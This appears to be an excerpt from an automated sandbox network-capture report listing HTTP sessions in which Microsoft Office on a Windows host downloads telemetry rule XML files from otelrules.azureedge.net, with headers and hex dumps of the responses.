2024-10-31 06:15:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:23 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 5c4d015b-701e-0097-6b71-28b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061523Z-15b8d89586f6nn8zqg1h5suba800000004b00000000084uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:23 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061523Z-16849878b78qfbkc5yywmsbg0c00000008wg0000000027yx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-16849878b78smng4k6nq15r6s40000000an000000000awn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 39be1a48-401e-0047-100c-2b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-15b8d89586f8nxpt6ys645x5v00000000ac0000000009n2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 774e7d8d-d01e-007a-55ae-2af38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-17c5cb586f6wmhkn5q6fu8c5ss00000008ng000000005rz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 0ad7b348-901e-0067-0d67-28b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-15b8d89586f42m673h1quuee4s0000000d3g00000000g9gb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-16849878b78qwx7pmw9x5fub1c00000007b0000000003dy7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-16849878b78bcpfn2qf7sm6hsn0000000atg000000004dh5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-17c5cb586f6r59nt4rzfbx40ys000000018g00000000e92f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-16849878b786lft2mu9uftf3y40000000ag00000000006eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:24 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ff2e7302-c01e-0014-403f-2ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-17c5cb586f626sn8grcgm1gf8000000007h000000000derb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:25 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:24 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:24 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061524Z-16849878b78fssff8btnns3b1400000009a000000000k5t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
